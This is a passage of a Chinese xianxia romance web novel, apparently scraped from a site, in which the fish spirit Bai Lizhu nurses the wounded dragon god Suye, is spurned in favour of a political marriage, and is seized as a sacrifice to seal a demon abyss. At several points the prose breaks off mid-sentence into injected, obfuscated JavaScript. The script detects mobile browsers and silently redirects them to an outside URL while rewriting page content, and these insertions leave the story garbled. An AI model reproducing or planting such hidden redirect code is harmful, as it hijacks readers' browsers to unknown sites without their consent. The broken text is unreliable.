白骊珠眨了眨眼以示回答,她的下半身已经失去知觉,估计要不了多久就会彻底玩完,只是她怎么也想不通,身为一只区区第四境的小妖,这个魔族首领杀她不难,何必如此大费周折。 魔族首领道:“这紫色粘液是我族魔药石灵之水,可以将妖类的躯体化为最坚硬的石像。” 说话间,白骊珠感觉自己胸口下方都已经石化,只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至于她自己,早在五年之前就应该是一个死人了。 她集中全身最后的力量,一起向自己的心脉逆流而去。 *** 就在此时,她脚下的土地突然松散,沃土化为一片巨大的湖泊。湖泊中,一条银白色的巨龙从水里翻涌而出,白骊珠还没反应过来,就被巨龙一下子吸入龙腹之中。 接下来外面的事情,白骊珠就不知道了。 她被吞入龙腹之中,只感觉龙身翻滚着,上天入地,左冲右突。正常情况她应该已经被晃得七荤八素,只是她如今差不多就是一个石像,反倒保持着清醒的意识。她在巨龙腹中,什么也看不见,隐隐听到风的怒吼,浪的咆哮,以及魔族们临死之前的尖叫与哀嚎。 不知过了多久,她感到龙口处传来一阵亮光,紧接着她身体一晃,就晕了过去。 醒来之时,她已经回到了营地里,乌金金正在照顾她。 她此前分明整个身体都已经石化,这会儿却已经完全恢复了正常,除了疲累,一点伤痕也没有。 乌金金说,她带着紫花菖蒲回到营地,找陆崖求救,当时陆崖正和龙神溯夜在一起。 她连忙向陆崖禀报风来湖遇到的事,才说一半,溯夜大人就消失不见了。 事情禀完之后,陆崖仍是老神在在的样子。乌金金急得想跟过去,陆崖才说有龙神出马,一切都没问题,乌金金才知道溯夜大人已经去了风来湖。 到了第二天午时,乌金金果然见到龙神大人背着白骊珠回到了营地。白骊珠毫发无伤,龙神大人却受伤不轻。 他将白骊珠扔下,连话也没有说半句就离开了。 乌金金又说,按陆崖大人的说法,这次算是因祸得福。这次围杀白骊珠的都是魔族的精锐,为首的是魔王的亲弟弟,魔军的三位统率之一。他们这次孤军深入,尽数折损在溯夜手中,前线的压力可以暂时得到缓解。 虽说龙神溯夜伤得很重,但是辛苦征战多日的大妖们倒是可以暂时喘上一口气。 对了,她的姑姑白舒眉都来看过她一次,嘱咐她好好休养,这段时间不要乱跑,几天之后,姑姑要回濯水居一趟,届时会带她一起回去。 40. 第 40 章 白骊珠只是受到惊吓,修养了两天身体便恢复了。 这两日,她比以往都更加思念青君。 他又救了她一次。若非那银色巨龙及时赶到,她想必已经被魔族彻底化作一座石像了。他听说她遇到危险,便马不停蹄地赶来救她。她是不是可以认为,虽然他离开了濯水居,但仍然记挂着过去五年两人之间的情谊,还认她这个“姐姐”。 两天之后,她就要离开西陵泽了。她希望在离开之前,可以再见青君一次。就算他不喜欢她,不会回应她的感情,她也该亲口向他道谢。 她几经辗转,终于打听到青君的居处并不在这处妖族营地,而是在往北五里之处的一座雪山上。 西陵泽本是一处沼泽,并没有山,也从不下雪。龙神大人不知从何处移来一处雪山,没有战事的时候,就一个人住在雪山之上。 龙神大人为人孤僻,没有朋友,只是偶尔和几位大君一起议事。何况雪山酷寒,就连几位大君也不愿造访,雪山之上究竟如何,竟无一人知道。 白骊珠不怕冷,她的心如热火,只想再见青君一面。 雪山上并无台阶或步道,白骊珠顺着寒冰凝成的悬崖攀爬了一上午,终于看到了山顶上有一所孤零零的白色小屋。走近雪屋,她感觉到一股迫人的寒意,那种仿佛要将一切凝结成冰块的寒凉气息足以劝退所有出其不意的访客。 这里与山下那处喧闹熙攘、人来人往的营地仿佛两个世界。 白骊珠心道大妖们说龙神大人孤僻果然不假,不然又为何住在这么冰冷的地方。 她走到近前,发现小屋四壁都是由终年不化的雪块堆砌而成,四面都没有窗户,只在朝南一面有一扇冰块雕成的门。 白骊珠敲了敲门,门内无人应答。她又尝试推门,门也纹丝不动。 她想,莫非青君眼下并不在小屋之内?可是据大妖们所说,青君在没有大战的时候都会在这里,眼下并无战事,他不在这里又在哪里。 她在雪屋之前站了一个时辰,直到夕阳渐渐落下。入夜之后,气温更凉,一个人呆久了,更感觉寒凉透入骨髓,她心中的一腔热火终于彻底冷了下来。她想,陆崖与溯夜相熟,不如先去问问陆崖再说。 她正准备下山,忽听到一道声音:“白姑娘,你怎么在这里?” 白骊珠抬头,看到陆崖正从山下而来,手里拿着大包小包的灵草,见到她面露惊喜:“白姑娘想必是来看望溯夜……青君的吧?” 白骊珠微微点头,看向那边的雪屋,道:“我听说溯夜为救我受了伤,但是我下午敲门,里面并无人应门。” 陆崖大踏步向雪屋走去,一边说道:“溯夜前日伤重,只怕此刻昏迷仍未醒哩。”他叹息道:“龙神之躯,受伤之后,普通的药材无用,只有蕴含原初之力的灵草才对他有用,这些药材可费了我不少功夫,白姑娘随我来吧。” 白骊珠本来心中怏怏,听说溯夜伤重昏迷,又不免担心起来,跟在陆崖身后,折回雪屋门前,看着紧闭的门扉,问道:“那我们该怎么进去?” 陆崖将灵草往白骊珠坏中一塞,微笑道:“白姑娘放心,在溯夜这里当不速之客这事我可是驾轻就熟。” 说话间,他掌心凝现出一团幽蓝色的火焰,火焰舔上冰痕,不久那扇冰门就融化成为一滩雪水,露出房间内的面目来。 白骊珠想不到开门的方法如此简单粗暴,一时愣住了。 看着白骊珠目瞪口呆的表情,陆崖摊了摊手,道:“溯夜千百年来就是这样一副生人勿近的样子,我要是不用点非常手段,也不会成为他的朋友……” 他摸了摸鼻子:“虽然朋友这个词是我自封的……但是总有一天他会亲口承认我是他的朋友。不见得是唯一一个,但一定是第一个。” 白骊珠莞尔:“我相信你一定终有一天能达成所愿。” 陆崖道:“白姑娘,其实溯夜虽然总是拒人于千里之外,但是你当真靠近,他并不会将你怎么样,所以也不要太将他不由自主的抗拒当一回事,那并不是他的本心。好了,门已经开了,我们进去吧。” 那团蓝色的火焰被他收回,塞到白骊珠手中:“这个法宝名叫红莲幽焰,可以将世界上最寒冷坚硬的寒冰融化成水。喏,送给你了,说不定你以后会用的着。” 两人走进雪屋,白骊珠一眼就看在躺在地上的熟悉人影。 青君的容貌与在濯水居时并没有太大的变化,只是眉目因为沧桑显然更深邃些。他是躺在血泊之中,一身冰蓝衣袍已被鲜血染红,前胸襟袍撕裂,未足裹身,露出精瘦的胸膛和翻裂的伤口。陆崖翻开上袍,只见下腹处另有一道狭长的贯穿伤,伤口深可见骨,若是再深一些只怕能见皮肉下方的脏器。那伤口受伤之后无人清理,流出的已经凝成黑色的血块,部分的血肉已经腐烂。 白骊珠脸色发白,那日大战她被吸入龙腹,不见外面的情形,此刻打量青君身上伤痕,足见当时那一场大战的惨烈。 她忍不住问道:“龙神重伤而回,难道妖界就没有医师为他治伤吗?” 白骊珠心中蓦地一痛。大战结束之后,他就是独自一人躺在这处不会有人来的小屋、任自己的鲜血流淌殆尽吗? 陆崖眉头都没有皱一下,淡声道:“龙神一向如此,他曾经说过,他是天道的囚徒,天道不会允许自己的囚徒逃避刑期。龙神只会死于无妄劫,不会死于其他的任何东西。在无妄劫之前,龙神可以说是不死之身。”说到这里,陆崖忍不住叹气:“反正就算不治,他这具身体也会慢慢复原。所以,龙神在战斗中不管受到什么伤,都会拒绝医师替他治伤。我有时候觉得,他甚至贪恋痛苦……” 白骊珠:“贪恋痛苦?” 陆崖道:“龙神没有爱的本能,但是经年累月的孤寂足以将任何正常人折磨成疯子。他需要用痛苦来感受自身的存在,维持本我的意志,不至于彻底发疯。如果不是战事着紧,需要他的战力,我才懒得去找药材替他医治。” 白骊珠感到心脏传来巨大的 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陆崖松了一口气,道:“这些药蕴含原初灵力,对溯夜的伤应该有用。白姑娘将之分成两份,一半捣碎,敷用于伤口。另外一半用大火熬制两个时辰,给他喂下就行了。早中晚各一次,到明天这个时候,他应该就醒了。” 倚仗多年的经验,白骊珠处理起药材十分熟练。她将药草中富含灵力的部分分离出来备用,一边支起火炉熬药,一边用药碾子碾制药膏。陆崖反而无所事事。他知道白骊珠未必希望在此打搅,便借口要去查看如今魔族的情况,离开雪屋,将溯夜扔给白骊珠照顾。 准备好药材之后,白骊珠用妖力将雪水化开,将帕子沾湿,小心将青君伤口处的血污拭去,敷上药膏,又用干净的布条裹好。 这时,炉火上的汤药也熬好了。她将青君扶在墙边坐好,一匙一匙地将汤药喂了进去。昏迷之中的青君并无意识,只是多年养成的习惯让他在汤匙碰他的唇时,习惯性地张开嘴唇,将送到嘴边的汤药咽了下去。 喝完药,青君似乎睡得更沉了,就连眉额间也舒展了许多,脸色也不似先前那般苍白。白骊珠微微舒了一口气,便偎依着青君,靠在冰雪砌成的墙壁小憩。 她之前忙起来没觉得冷,这会靠着休息渐渐又感寒气深入骨髓,便再也睡不着了。她心想,这般冰天雪地,可不利于养伤,她明日无论如何药说动青君搬到山下的营地去养伤。 还有,姑姑原本说的是后日一早就离开,也不知他这伤什么时候能痊愈,她可不能在这个时候回濯水居,最少得等到他的伤好得差不多再走。 只是姑姑已经在准备离开的行装了,她临时改变计划,还需要及早知会姑姑一声。 她瞅了瞅天色,已经快要破晓,思量青君未必很快醒转。反正汤药已经在炉火上熬着,先下山一趟知会姑姑,也完全来得及。 她站起身,轻手轻脚地向门外走去。才走两步,忽听到身后传来一声低语:“姐姐,不要走……我知错了,姐姐不要抛下我……” 41. 第 41 章 那语气白骊珠极为熟悉。 从前青君失去神智之时,白骊珠常常与他玩闹。若是他惹得白骊珠生气,白骊珠就会故意说:“你要是再这样我就不理你了——” 每次她说完,青君就会黏上来,抱着她的手臂撒娇:“姐姐,别走……我知错了,姐姐不要抛下我……” 白骊珠惊喜回头。一刹那间,她以为青君醒了,发现她正要离开而挽留。可定神看时,龙神倚着墙,双目闭着,并无苏醒的迹象,方才那一声只是梦呓而已。 她离开雪山,回到营地,找到姑姑,说了龙神受伤,她希望留下来照顾的事。白舒眉虽然担心她因为龙神之心再次成为魔族的目标,但也知晓她若是没有亲眼见到青君伤愈,即使回濯水居也不会心安,便许她在西陵泽多待三天。 白舒眉说,三日之后,不管龙神是否彻底恢复,她都必须离开。白骊珠得到姑姑的允诺,十分欣喜,再次回到雪山上的那座小小雪屋。 她攀上雪崖,一眼就看到了龙神。 她离开不到两个时辰,他竟不知何时苏醒了,独自一人倚门站着,朝向她来的方向,目光着落在虚空,似乎是在等待,又似乎在追寻。 那是白骊珠熟悉的眼神,从前,她偶尔离开她和青君居住的小院,青君就是倚着院门等她回来。这般熟悉的情景让白骊珠一下子想起从前,她脸上绽放如往昔一般亲昵甜美的微笑,迎着龙神走了过去:“青君,姐姐回来了。” 龙神动了一下,偏了眼眸,朝她看来。 在目光着落在她身上的那一瞬,他脸上的神情忽然变了。 之前那散落在虚空中的眸光刹那收回,变得淡漠、森冷、冰寒,他分明只比她高一个头,她却感觉那目光是从九层宫阙上射下。那是独属于神祇的威严,浩浩荡荡、无穷无尽,一瞬间扑面而来。 在这道目光的照射之下,她觉得在他面前,自己恍若一只蝼蚁。 此时此刻,她第一次感觉眼前之人并不是她在濯水居陪伴过的青君,而是曾经掌管七海,统率整个妖族大军的龙神溯夜。 白骊珠的身体本能地战栗起来,这股恐怖的威压让她喘不过气,这样的青君更是让她感到陌生无比。 那人的声音同样冰冷淡漠:“谁允许你来这里的?” 白骊珠壮着胆子,上前一步:“青君,你怎么了,我是骊珠姐姐啊。你前两天受了伤,我是来照顾你的。”她朝雪屋里面走去,“算算时间,今天早上的药也快熬好了,我去看看药材。” 她还没靠近房门,便感觉一股冷风扑面而来,她一个踉跄,摔倒在地。 龙神在高处望她,神态倨傲,声音更冷数分:“无知小妖,你当称呼本尊为龙神溯夜大人。还有,尔竟敢趁本尊失去神智之时,僭越自认为我的姐姐,该当何罪?” 白骊珠如坠冰窟,昨夜她分明听到他在睡梦中唤他姐姐。本以为等他苏醒之后,两人的关系有所改观。就算他注定无法爱上她,她也愿意像从前一样,像对待自己的弟弟一样照顾他,只愿他那颗冰冷孤寂的心能够得到些许的慰藉,她便心满意足。 如今看来,她全然想错了。 他认为她自称他的姐姐,本就是僭越的罪行,她僵在原地,脑海中一片空白,来此路上心中百转千回,千万句想说的话,竟是一丝一毫也想不来。 她又听到龙神冰冷的声音。 “还杵在那里干什么?”眼前威严的神祗道:“本尊念你过去五年,也算矜矜业业,本尊得以恢复神智,你没有功劳也有苦劳,姑且就算你将功补过,不计较你年幼无知的僭越之罪。现令你速速离开此地,以后不许再来,也不许再自称是本尊的姐姐。回去吧——” 他一拂衣袖,转身向雪屋内走去,在他进入的一刹那,门洞处再次凝起一扇冰门,就将她隔绝在外,也是将她拒于心门之外。 白骊珠带着欢喜与期冀而来,不意会是这样的结果。 他不认可她是他的姐姐,只是一只无甚出奇的“无知小妖”,过往朝夕相伴的五年,在他口中不过是“将功补过”的“苦劳”,他再次将她的一颗真心摔在地上,再狠狠践踏了几脚。 她觉得自己一刻也无法在这雪山上待下去,她揩去眼眶涌出泪水,往下山的来路走去。忽地,她脚下一滑,脚上踩上一物,捡起来一看,那是陆崖送给她的用于融化冰雪的红莲幽焰。 她想起陆崖昨日说的话:“白姑娘,其实溯夜虽然总是拒人于千里之外,但是你当真靠近,他并不会将你怎么样,所以也不要太将他不由自主的抗拒当一回事,那并不是他的本心。其实他比这世界上大多数的人更关心他人,更关心你。那日他一听乌金金你说出事,就跑去救你——” 白骊珠停下脚步。 她对自己说道,白骊珠啊白骊珠,你怎么因为一点点挫折就要放弃,明明你知道龙神就是这样,他注定不会生出任何的感情。 陆崖为了成为他的朋友,坚持了数千年都没有放弃。而你,口口声声说自己爱着青君,又从他那里得到了最珍贵的龙神之心,就因为他说了几句难听的话就要放弃吗? 你现在离开,龙神绝不会自己疗伤,难道你愿意看到他带着满身的伤痕,在这片冰雪之中继续痛苦挣扎吗? 不,就算要走,也要等到他完全恢复之后再离开。 她转身回到雪屋,使用妖力催动红莲幽焰,那座冰门再次融化成为潺潺春水。她踏过房门,再次站在龙神面前。 龙神没想到她去而复返,意外地看着她:“我说让你离开,你听不懂吗?” 白骊珠毫不怯弱:“我不走。青君,你受了伤,我要留在这里替你治伤——” 龙神冷峻的眉峰蹙起,如披霜雪:“我说过了,我不叫青君,你当尊称本尊为龙神溯夜大人。还有,我最讨厌生人闯入。念你是名女子,我已给了你最大的容忍,再不离开,休怪我对你不客气。” 白骊珠鼓起勇气,大声道:“我不走,我不管你是龙神也好,是水族大君也好,在我眼中,你就是青君。我们在濯水居相伴五年,是彼此最在乎的人。我今天一定要留下,等你伤好之后再走……” 龙神仍是那副冷冰冰的脸孔:“最在乎的人……你还真会给自己脸上贴金,世人皆知,龙神溯夜无心无情,这世上根本就没有我会在乎的人。” 白骊珠上前一步,灼灼目光向眼前人逼视而去:“难道堂堂龙神大人不敢承认自己的本心吗?如果你没有一丁点儿在乎我,那天又何必赶到风来湖救我?” 龙神嘴角浮起讥诮的笑意:“白骊珠,我救你,是因为你是我的臣民,保护臣民是每一位妖族大君应尽的责任,仅此而已。五年前,我在长月湖救你,是出于责任,两天前在风来湖也是同样。你纠缠我的目的,别以为我不知道,不过是想以报恩为名死皮赖脸跟在我身边,从低等的水族,飞上枝头,成为水族尊贵的王后。你这样的小妖,我见得多了,也别以为我会上当——” 这时,屋内传来一个尖酸的声音:“呵,不过是小小白鱼一族的孤女,就妄想成为龙神的王后,也不照照镜子看看自己什么身份。这年头,这些不要脸面给根杆子就想往上爬的低等小妖真的是越来越多了,龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087824|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神大人何必和这样的人置气呢?” 白骊珠循声望去,这才发现屋中另有一名女子,正跪坐在炉火旁,正在摆弄她上午离开时留下的汤药。她女子显然从前没有熬过药,更不知药性药理,分明药汤都沸腾了,仍然不停往炉中扇风,空气中弥散着焦苦味,好好一碗汤药已然被她浪费了。 白骊珠又急又怒,冲上前去将汤药抢救下来:“你是谁?谁许你动我的汤药?” 那女子道:“无知小妖,竟然连本公主都不认识。本公主是虫族大君鳞昆大人的妹妹羽衣公主,我哥哥听说龙神受伤,特意遣我来侍候照料,侍奉汤药。” 白骊珠心中血气翻腾,自从五年前她见到失去神智的青君伊始,一直都将照顾青君视作自己的责任。眼见倾注了陆崖和她的无数心血的一锅汤药,被这根本不知道从哪里来的公主作践,她一把推开羽衣公主,怒气冲冲道:“我自己就可以照顾龙神大人,请你从哪里来,就回哪里去——” 羽衣公主并不生气,或者高傲如她根本不屑于跟白骊珠生气,她看着白骊珠的眼神带着轻蔑:“让我走,你配吗?无名小妖,实话告诉你,我哥哥让我来此,不仅仅是为了让我照顾龙神大人,他更有意于两族联姻,让我成为龙神的王妃,这可是有益于两族和平与发展之事。让我走,不如你问问龙神大人同意吗?” 白骊珠只听得脑中嗡的一声,心血一起往脑门上涌,激得她两眼发黑,几乎站立不住。 青君要和虫族联姻,要娶羽衣公主为王妃? 不,这不可能。陆崖说过,青君受到天道诅咒,不会有感情。没有感情,又怎么会娶王妃? 可她知道,这也并非全无可能。 这些日子她探听各路消息,知道羽族女君翎天这些天对龙神溯夜施加压力,想要得到妖族的领导权。溯夜如果这个时候娶羽衣公主,就能得到虫族大君鳞昆的支持,再加上陆崖一定会站在溯夜这边,这样女君翎天便无法撼动溯夜的统率之权。 龙神受到天道诅咒,不会有感情。两族联姻,各取所需,根本也无须感情,可她又如何能眼睁睁看青君娶其他的女子。 她强忍住心中翻腾的情绪,转头看向龙神:“青君,你告诉我,这不是真的,对不对?” 龙神的眼神并没有着落在她身上,而是看向羽衣公主,道:“羽衣公主,你哥哥既然派了你来,你就代本尊送客吧。还有,如果鳞昆大君真的有意于两族联姻,我也无意见。但是你只有水族王后的名分,成婚后青崖也不会有你的位置,你还是住在原先的宫殿。” 羽衣公主颇感意外,先前她向溯夜提及两族联姻之事,溯夜分明对此不置可否。没想到,这个白骊珠一出现,溯夜的态度就有了一百八十度的转变,难道这个小妖真的和溯夜有什么说不清道不明的关系? 不,妖界人人都知道龙神溯夜无心无情,根本不可能喜欢上任何人。 当然了,羽衣公主也不在乎龙神溯夜喜不喜欢自己。她已有过三任驸马,可惜她身为公主,娇贵惯了。驸马身份再高,又怎能高得过一族的公主,总是过不了多久就遭到这位公主的嫌弃。后来,羽衣公主也倦了,一心只想找到一个与身份相配的人,她思来想去,觉得只有水族大君溯夜才足以与她相配。 鳞昆被这位妹妹缠得烦了,就打发她到龙神这里来。心想,她碰了钉子,自然就老实了。 羽衣公主没费多少力气得到龙神的允婚,实在是意外之喜,此时看向白骊珠的眼神更多了几分轻蔑和倨傲,伸手指向门外:“白姑娘,请吧,再不走,可就别怪本公主不客气了——” 42. 第 42 章 白骊珠不知道自己是怎么离开山顶那间雪屋的。 她浑浑噩噩回到营地自己的房间时,一双眼睛肿得如同核桃一般。 白舒眉吓了一跳,问道:“骊珠,你怎么哭成这样?可是有谁欺负你了?” 白骊珠扑进姑姑怀里,哽咽道:“姑姑,我们回濯水居去吧,现在就回。” 白舒眉心中诧异,白骊珠不久之前特意央求她在西陵泽多留几日,怎么出门一趟就哭着回来,还改了主意。她轻抚着侄女的后背,宽慰她道:“怎么这么急?你不是要留在这里照顾龙神,等他好了再回吗?” 白骊珠泪如泉涌,抽泣道:“姑姑,他要娶王妃了。以后,自有他的王妃照顾,他已经不需要我了……” 白舒眉心中更惊:“王妃?不可能啊,这是哪里听来的消息?” 白骊珠:“虫族要和羽族联姻,未来的王妃是鳞昆大人的妹妹羽衣公主……” 白舒眉还是不信,在整个妖界,和龙神溯夜最亲近的人是兽族大君陆崖。陆崖前脚才刚离开,如果溯夜要娶羽衣公主,陆崖绝无不知之理。 她一边安抚白骊珠,一边道:“此事或有内情,你先在房内休息,我去找陆崖大人问个明白。” 白骊珠继续抹泪:“如今羽衣公主就在龙神的雪屋之中,婚约之事也是我亲耳听到龙神应允,难道还能有假?姑姑何必再问,反倒让人以为我们白鱼一族想要攀附龙神,自取其辱而已。” 白舒眉知道事有蹊跷,她扶着白骊珠到了床上,宽慰道:“珠儿你一夜辛苦,好好睡一觉,养精蓄锐,姑姑正好去收拾东西,等你醒了,我们马上就回濯水居,一刻也不多待。” 待白骊珠睡下,她燃了一炷安神香,轻手轻脚地离开了房间。 这事着实蹊跷。 龙神溯夜活了将近万年,这万年间,想要与水族大君联姻者不知凡几,皆被龙神拒绝,没道理这个时候溯夜突然想起要和羽衣公主联姻。这件事情,她明日一早就去找陆崖大人问个明白。 白骊珠从小到大,从没哭成这样,想必是在溯夜那里受了天大的委屈。白骊珠和溯夜之间的事,缘起固然是因为溯夜用龙神之心救了白骊珠,白骊珠心生感激而暗生情愫。 可事情走到如今这步田地,还有大半因由是陆崖想要打破天道诅咒,在其中推波助澜。 白骊珠是欠了溯夜一条性命,可是白骊珠照顾青君五年,使他恢复神志,这份恩情也够偿还了。如果不是陆崖信誓旦旦说溯夜喜欢白骊珠,她又怎么会让自己的侄女与无心无情的水族大君产生感情纠葛? …… 因为安神香的作用,白骊珠辗转没多久,就睡着了。 她不知睡了多久,睁开眼时,天还未亮,四下里静悄悄的。 忽然听得门外传来一阵急促的脚步声。很快,姑姑白舒眉出现在床头,她神色难掩仓皇,促声道:“骊珠,赶紧起来,我们现在就离开西陵泽。” 白骊珠换好衣服,就要去收拾自己的行李物件。白舒眉一把拉着她出门:“那些不用收拾。快走,晚了就来不及了。” 白骊珠不解,她是想早点离开西陵泽,可天还未亮,倒也不必这般着急。 白舒眉显然不这么想,她拉着白骊珠急匆匆出了营地,向北方而去。 此时上弦月已经落下,约略刚过子夜不久。白舒眉很是着急,一路紧赶慢赶,时不时向后张望,仿佛后面有追兵一般。直到临近西陵泽的出口,气喘吁吁的姑侄两人才坐在路边一块巨石上休息喝水。 白骊珠也终于得以缓了一口气,问道:“姑姑,出什么事了?” 她心中狐疑,她昨天睡前姑姑说要出去找陆崖,说是要问有关龙神和羽衣公主婚约的事。就算今日龙神和羽衣公主今日成婚,她们也不必这般急急如漏网之鱼般逃离西陵泽吧。 莫非,是魔族的人还惦记她身上的龙神之心,想要追杀她? 这也不对,真要是魔族的人,营地里有众多大妖驻守,本是最安全的地方,又何必半夜仓皇出逃? 白舒眉回望来路上浓墨晕染般的夜色,眉宇间是散不去的忧色。她呢喃道:“我昨晚做了一个梦,在梦中你被……”她摇摇头,没有再说下去,只道:“总之,梦境的预兆不祥。我起床立刻就去找陆崖,却发现陆崖大人也失踪了。现在只怕他自身难保,庇护不了我们,我们先回濯水居避一避风头再说。” 白骊珠估摸姑姑的梦境中自己应该是遇到了危险的事,她心中更蹊跷了:“梦境中的事如何能够当真?” 白舒眉支支吾吾:“你不知道,这个梦与天道有关系。总之,你继续留在西陵泽会有危险,我们先离开再说。” 白骊珠满心狐疑,但她本就打算离开西陵泽,早一点晚一点并没有区别,也没有再追问。两人歇息片刻之后,准备继续赶路。 此时,身后传来一道声音:“什么人在那里?停下,不许再往前了——” 那声音有几分熟悉,并不是魔族,而是驻守在西陵泽的妖族。 白舒眉听了,步伐愈快,几乎是拉着白骊珠发足狂奔。夜色迷蒙,两人很快甩掉身后的追兵。眼看西陵泽的出口就在不远处,前方的夜雾中突然出现几名大妖,拦住出口。 为首的大妖是羽族禁卫首领玄鸷,手里拿着一块令牌,挡住去路:“女君有命,你们不能离开这里,请你们跟我们回去。” 那一枚令牌是羽族女君翎天的信物,白舒眉脸上现出怒色:“我们是水族子民,从来只听从水族大君之命,不奉什么羽族女君之令。请你们让开——” 玄鸷也不愿开罪这位妖界负有盛名的大炼器师,语气缓和了些:“白大师如果非要离开,我们也不敢阻拦。只是白大师的这位侄女……” 他指了指白骊珠道:“昨夜,西陵泽的很多战士都已经得到了天道谕示,只有将她投入西陵泽的魔渊之中,方可将魔族的出口重新封印。几位大君已经下了谕示,白骊珠不能离开西陵泽。白大师能走,她可走不得——” 白骊珠闻言,心中一惊。 天道谕示,将她投入西陵泽的魔渊之中,方可将魔族的出口重新封印。姑姑是因为梦到这事,才连夜带她离开吗? 根据几位大妖的说辞,昨晚梦到这件事情的并非一个两个,甚至几位大君都知道这件事,才下令将她留下。 白舒眉勃然大怒:“难道为了封印西陵泽的魔族,就要牺牲骊珠的性命吗?这件事情我不会同意。” 玄鸷道:“难道白大师要违抗大君们的命令吗?” 白舒眉:“我们水族自古以来只奉龙神的性命。想要我们留下,除非你们有龙神溯夜的手令,否则,我今天一定要离开。” 玄鸷道:“既然两位抗令,就别怪我们不客气了,动手——” 一声令下,天空中出现十二位羽族大妖,结成法阵,将白舒眉和白骊珠团团围住。白舒眉亦祭出法器应敌。 白舒眉的法器名为千劫莲灯,在妖力催动之下,以一化千,霎时间风云激荡,无数光影汇聚,击向周围大妖。羽妖们张开翅膀,结成防御阵法,光影撞上翎羽,灯火共轻羽齐飞,如漫天星辰坠地。 一击之后,十二羽妖岿然不动,白舒眉却吐出一口鲜血,直直向后坠地,陷入了昏迷,被羽族大妖擒住。 白舒眉法器厉害,但自身妖力并不算上乘,方才全力一击不仅未能获胜,反而遭到反噬,落败被俘虏。 玄鸷胜券在握,对白骊珠道:“白姑娘,你姑姑已经落败,你还要负隅顽抗吗?” 白骊珠知道事情已经无法转圜。她灵力低微,甚至都不具备成为战士的资格,换言之,能出现在这里的每一个大妖,实力都比她强过许多。 她望向呕血昏迷的姑姑,道:“你们要找的人是我,如果我和你们回去,你们能不能放过我的姑姑?” 玄鸷点头道:“当然,只有你回去面见女君,我们会将白大师安全送回濯水居。” 白骊珠舒了一口气,任由两名大妖扣住她的肩膀。事已至此,她唯有听从羽族的安排先去见羽族女君翎天再说,如果她注定要成为封印西陵泽的祭品,也算她为妖族的和平贡献了一份自己的力量。只希望这件事情不要牵连到她的姑姑。 *** 羽族女君翎天居住在西陵泽的梧桐宫之中。 翎天的本体是凤凰。 自古以来,就有凤凰“非梧桐不栖、非竹实不食、非醴泉不饮”的传说。在羽族万木城,有十方森林,居住着各类羽族。其中以梧桐树最高。女君翎天的宫殿建造在最高处的桐木之上。 如今,妖族几位大君都驻守西陵泽。羽族大妖们便建了这空座梧桐宫作为女君的居所。 这座梧桐宫漂浮于天上,据说可以听从翎天的意志在空中移动。不仅是羽族女君的栖息之所,也是她的交通工具。 羽族女君翎天身着红黑相间的长袍,头束珠冠,神态威严而庄重。她高坐御座之上,俯视下方的水族小妖,眼神中带着探究和审视:“你就是白骊珠?” 翎天的声音很冷,就像她的人一样。 妖族五位大君中,羽族翎天以严苛、不近人情著称。若论实力,她的实力远胜于兽神陆崖、虫神鳞昆,蛇神山岐,稳坐妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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翎天既说封印西陵泽魔渊,需要合适的祭品,又说不打算强迫她。难道翎天以为她会心甘情愿去徇祭吗?她算是已经死过一次的人了,知道自己这条小命来之不易,如果能苟活当然还是要挣扎一下,并不打算这样白白就死。 她立刻挣扎道:“我现在就要走,我要和姑姑一起回家。” 翎天做了一个手势,按住她的那些羽族大妖一齐松开了手。 白骊珠左看右看,在场所有羽族禁卫全部都呆立不动,并没有阻拦她的意思。 她拍拍屁股,转身一脚踏出梧桐宫的大门,翎天的声音在身后响起:“白姑娘,你是可以一走了之。但是离开之前,你应该好好想想,如果你走了,龙神溯夜的命运会如何?” 白骊珠知道这时她应该离开,不用管翎天说些什么。龙神溯夜会怎么样,和她有什么关系?他就要娶别人了,他将来的王妃会是羽族公主。他们这些大人物的事,和她一只小小的白鱼妖有什么关系呢? 可她脚下一顿,还是忍不住回头:“龙神溯夜会怎么样?” 翎天露出一个“果然如此”的神情,道:“白姑娘想必知道,在整个妖界,最能克制魔族功法的唯有龙神溯夜的力量,又以龙神之心的力量最为强大。天道已有明谕,唯有将龙神之心投入魔渊,才能封印魔渊入口。是以,我派人将白姑娘请了回来。白姑娘不愿成为祭品,我十分理解。但还有一件事,白姑娘应该知情,龙神之心可不止白姑娘身上的那一颗……” 白骊珠心中闪过一丝不对劲的感觉,“龙神之心还有第二颗?” 翎天道:“当然。龙神溯夜因为将龙神之心给了你,因而失去心智,行事痴傻如同幼童。可是,五年后,他又恢复了心智,白姑娘有没有想过这是为什么?” 白骊珠惊得讶异一声,“难道说……龙神长出了第二颗龙神之心?这……这如何可能?” 翎天道:“如何不可能?对于我们这种级别的大妖来说,灵骨本就是可以再生的。只是,五年的时间,新生的龙神之心远不如原来的那一颗力量强大,龙神溯夜的实力大不如前,西陵泽的战事才会如此艰难。天道已经昭示,唯有龙神之心才能重新封印西陵泽的魔族入口,你若不愿意献出性命,龙神溯夜为了妖族万千生灵想必不会吝啬再次献出龙神之心。” 白骊珠浑身一震。 “我认为,你欠了龙神溯夜一条命、一桩恩情,现在正是你回报他的最好时候。” 翎天的声音一如既往的冰冷,不带任何感情色彩:“过去的五年,因为龙神溯夜失踪,妖界陷入动乱,我不希望再次见到这样的结果。如果龙神溯夜再次失去神智,以他现在的修为,在下一次的无妄劫之前,他可能都不会再恢复。作为妖界的主事者,我认为牺牲你,保全溯夜才是对妖界最好的结果。” “当然,白姑娘可以有不同的见解,拒绝我的提议。” 